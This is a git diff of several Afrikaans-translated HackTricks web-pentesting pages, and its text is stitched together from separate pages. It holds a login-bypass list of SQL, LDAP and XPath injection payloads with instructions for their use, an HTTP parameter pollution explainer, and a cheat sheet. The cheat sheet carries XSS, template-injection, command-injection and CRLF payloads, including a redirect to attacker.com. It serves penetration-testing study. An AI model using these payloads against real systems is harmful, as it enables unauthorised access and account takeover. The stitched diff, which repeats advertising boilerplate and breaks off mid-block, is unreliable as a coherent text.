<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na die pos: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Hierdie lys bevat **payloads om die aanmelding te omseil deur middel van XPath, LDAP en SQL-injectie** (in daardie volgorde).
Hierdie lys bevat **payloads om die aanmelding te omseil via XPath, LDAP en SQL-inspuiting** (in daardie volgorde).
Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as gebruikersnaam en wagwoord** te plaas. Plaas dan die volledige lys in die gebruikersnaam eerste en dan in die wagwoord-insette terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) plaas.
Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord in te voer.** Plaas dan die volledige lys eers in die gebruikersnaam en dan in die wagwoord invoer terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) invoer.
```
admin
password
@ -517,7 +518,12 @@ ffifdyop
'||2=2#
'||2=2/*
'||2=2||'
"||"2
"||"2"="2
"||"2"="2"||"
"||2=2-- 2
"||2=2#
"||2=2/*
"||2=2||"
'||2=(2)LimIT(1)-- 2
'||2=(2)LimIT(1)#
'||2=(2)LimIT(1)/*
@ -704,7 +710,9 @@ admin")#
")UniON(SElecT(1),2)-- 2
")UniON(SElecT(1),2,3)-- 2
")UniON(SElecT(1),2,3,4)-- 2
")
")UniON(SElecT(1),2,3,4,5)-- 2
")UniON(SElecT(1),2)#
")UniON(SElecT(1),2,3)#
")UniON(SElecT(1),2,3,4)#
")UniON(SElecT(1),2,3,4,5)#
')||('2
@ -815,16 +823,17 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Parameterverontreiniging
# Parameter Pollution
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,50 +22,50 @@ Ander maniere om HackTricks te ondersteun:
# HTTP Parameter Pollution (HPP) Oorsig
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP-parameters manipuleer om die gedrag van 'n webtoepassing op onbedoelde maniere te verander. Hierdie manipulasie word gedoen deur HTTP-parameters by te voeg, te wysig, of te dupliseer. Die effek van hierdie manipulasies is nie direk sigbaar vir die gebruiker nie, maar kan die toepassing se funksionaliteit aan die kant van die bediener aansienlik verander, met waarneembare impakte aan die kant van die kliënt.
HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die toepassing se funksionaliteit aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
## Voorbeeld van HTTP Parameter Pollution (HPP)
'n Banktoepassingstransaksie-URL:
'n Banktoepassing transaksie URL:
- **Oorspronklike URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Deur 'n bykomende `from`-parameter in te voeg:
Deur 'n addisionele `from` parameter in te voeg:
- **Gemanipuleerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Gemanipeerde URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
Die transaksie kan verkeerdelik aan `accountC` in plaas van `accountA` belas word, wat die potensiaal van HPP toon om transaksies of ander funksionaliteite soos wagwoordherstel, 2FA-instellings, of API-sleutelversoeke te manipuleer.
Die transaksie mag verkeerdelik aan `accountC` in plaas van `accountA` gehef word, wat die potensiaal van HPP om transaksies of ander funksies soos wagwoordherstel, 2FA instellings, of API sleutel versoeke te manipuleer, demonstreer.
### **Tegnologiespesifieke Parameterontleding**
### **Tegnologie-Spesifieke Parameter Parsing**
- Die manier waarop parameters ontled en prioriteit gegee word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
- Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul ontledingsgedrag te identifiseer.
- Die manier waarop parameters geparseer en geprioritiseer word, hang af van die onderliggende webtegnologie, wat beïnvloed hoe HPP uitgebuit kan word.
- Gereedskap soos [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help om hierdie tegnologieë en hul parsing gedrag te identifiseer.
## PHP en HPP-uitbuiting
## PHP en HPP Exploitatie
**OTP-manipulasiegeval:**
**OTP Manipulasie Geval:**
- **Konteks:** 'n Aanmeldingsmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
- **Metode:** Deur die OTP-versoek te onderskep met gereedskap soos Burp Suite, het aanvallers die `e-pos`-parameter in die HTTP-versoek gedupliseer.
- **Uitkoms:** Die OTP, bedoel vir die oorspronklike e-pos, is in plaas daarvan na die tweede e-posadres gestuur wat in die gemanipuleerde versoek gespesifiseer is. Hierdie fout het ongemagtigde toegang moontlik gemaak deur die bedoelde sekuriteitsmaatreël te omseil.
- **Konteks:** 'n Inlogmeganisme wat 'n Eenmalige Wagwoord (OTP) vereis, is uitgebuit.
- **Metode:** Deur die OTP versoek te onderskep met behulp van gereedskap soos Burp Suite, het aanvallers die `email` parameter in die HTTP versoek gedupliceer.
- **Uitkoms:** Die OTP, bedoel vir die oorspronklike e-pos, is in plaas daarvan na die tweede e-posadres in die gemanipeerde versoek gestuur. Hierdie fout het ongeoorloofde toegang toegelaat deur die beoogde sekuriteitsmaatreël te omseil.
Hierdie scenario beklemtoon 'n kritiese oorsig in die toepassing se agterkant, wat die eerste `e-pos`-parameter vir OTP-generering verwerk het, maar die laaste vir aflewering gebruik het.
Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, wat die eerste `email` parameter vir OTP generasie verwerk het, maar die laaste vir aflewering gebruik het.
**API-sleutelmanipulasiegeval:**
**API Sleutel Manipulasie Geval:**
- **Skenario:** 'n Toepassing laat gebruikers toe om hul API-sleutel by te werk deur 'n profielinstellingsbladsy.
- **Aanvalvektor:** 'n Aanvaller ontdek dat deur 'n bykomende `api_key`-parameter by die POST-versoek te voeg, hulle die uitkoms van die API-sleutelopdateringsfunksie kan manipuleer.
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, stel die aanvaller 'n versoek op wat twee `api_key`-parameters insluit: een wettig en een skadelik. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API-sleutel na die waarde wat deur die aanvaller voorsien is.
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API-funksionaliteit, wat moontlik toegang tot of wysiging van privaat data ongemagtig maak.
- **Scenario:** 'n Toepassing laat gebruikers toe om hul API sleutel deur 'n profielinstellingsbladsy op te dateer.
- **Aanval Vektor:** 'n Aanvaller ontdek dat deur 'n addisionele `api_key` parameter aan die POST versoek toe te voeg, hulle die uitkoms van die API sleutel opdateringsfunksie kan manipuleer.
- **Tegniek:** Deur 'n gereedskap soos Burp Suite te gebruik, skep die aanvaller 'n versoek wat twee `api_key` parameters insluit: een wettig en een kwaadwillig. Die bediener, wat slegs die laaste voorkoms verwerk, werk die API sleutel op na die aanvaller se verskafde waarde.
- **Resultaat:** Die aanvaller verkry beheer oor die slagoffer se API funksionaliteit, wat moontlik toegang tot of wysiging van private data ongeoorloofde kan maak.
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameterhantering, veral in funksies so krities soos API-sleutelbestuur.
Hierdie voorbeeld beklemtoon verder die noodsaaklikheid van veilige parameter hantering, veral in funksies so krities soos API sleutel bestuur.
## Parameterontleding: Flask vs. PHP
## Parameter Parsing: Flask vs. PHP
Die manier waarop webtegnologieë dupliseer HTTP-parameters hanteer, verskil, wat hul vatbaarheid vir HPP-aanvalle beïnvloed:
Die manier waarop webtegnologieë duplikaat HTTP parameters hanteer, verskil, wat hul vatbaarheid vir HPP aanvalle beïnvloed:
- **Flask:** Neem die eerste parameterwaarde wat aangetref word, soos `a=1` in 'n vraagstring `a=1&a=2`, wat die aanvanklike voorkoms bo daaropvolgende duplikate prioriteer.
- **PHP (op Apache HTTP-bediener):** Daarteenoor, gee voorkeur aan die laaste parameterwaarde, wat vir `a=2` in die gegewe voorbeeld kies. Hierdie gedrag kan onbedoeld HPP-uitbuitings fasiliteer deur die aanvaller se gemanipuleerde parameter bo die oorspronklike te eer.
- **Flask:** Neem die eerste parameter waarde wat teëgekom word, soos `a=1` in 'n query string `a=1&a=2`, en prioritiseer die aanvanklike instansie bo daaropvolgende duplikate.
- **PHP (op Apache HTTP Server):** Teenstrydig, prioritiseer die laaste parameter waarde, wat kies vir `a=2` in die gegewe voorbeeld. Hierdie gedrag kan onbedoeld HPP exploits fasiliteer deur die aanvaller se gemanipeerde parameter bo die oorspronklike te eerbiedig.
## Verwysings
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
@ -75,16 +76,17 @@ Die manier waarop webtegnologieë dupliseer HTTP-parameters hanteer, verskil, wa
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,31 @@
# Reflecting Techniques - PoCs and Polygloths CheatSheet
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Die doel van hierdie PoCs en Polygloths is om die toetser 'n vinnige **opsomming** te gee van kwesbaarhede wat hy kan uitbuit as sy **inskrywing op een of ander manier in die respons weerspieël word**.
Die doel van hierdie PoCs en Polygloths is om die toetsers 'n vinnige **opsomming** van kwesbaarhede te gee wat hulle mag benut as hul **invoer op een of ander manier in die antwoord weerspieël word**.
{% hint style="warning" %}
Hierdie **spiekbrief stel nie 'n omvattende lys toetse vir elke kwesbaarheid voor nie**, net 'n paar basiese een. As jy op soek is na meer omvattende toetse, besoek elke voorgestelde kwesbaarheid.
Hierdie **cheatsheet stel nie 'n omvattende lys van toetse vir elke kwesbaarheid voor nie**, net 'n paar basiese. As jy op soek is na meer omvattende toetse, toegang tot elke voorgestelde kwesbaarheid.
{% endhint %}
{% hint style="danger" %}
Jy sal **nie inhoudstipe-afhanklike inspuitings soos XXE** vind nie, omdat jy dit gewoonlik self sal probeer as jy 'n versoek vind wat xml-data stuur. Jy sal hier ook **nie databasisinspuitings** vind nie, omdat selfs as sommige inhoud weerspieël word, dit sterk afhang van die agterkantse DB-tegnologie en -struktuur.
Jy **sal nie Content-Type afhanklike inspuitings soos XXE vind nie**, aangesien jy gewoonlik self probeer as jy 'n versoek vind wat xml data stuur. Jy **sal ook nie databasis inspuitings hier vind nie**, aangesien dit, selfs al kan sommige inhoud weerspieël word, sterk afhanklik is van die backend DB tegnologie en struktuur.
{% endhint %}
## Lys van Polygloths
## Polygloths lys
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -65,34 +65,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [Kliëntkant Sjablooninspuiting](../client-side-template-injection-csti.md)
## [Kliëntkant Sjabloon Inspuiting](../client-side-template-injection-csti.md)
### Basiese Toetse
```
{{7*7}}
[7*7]
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer en gebruikers se inligting te steel.
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van lêerformate en die interpreteeringsproses vereis. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry.
### Polygloths
```bash
{{7*7}}[7*7]
```
## [Opdraginjeksie](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/opdraginjeksie.md)
## [Command Injection](../command-injection.md)
### Basiese Toetse
```bash
;ls
||ls;
@ -103,155 +89,29 @@ Polyglote aanvalle is 'n gevorderde tegniek wat deeglike kennis van lêerformate
`ls`
$(ls)
```
### Polyglote
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om maatreëls te tref om hulle te voorkom.
### Polygloths
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)
### Basiese Toetse
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Hangende Opmaak
## Hangende Merk
### Basiese Toetse
````html
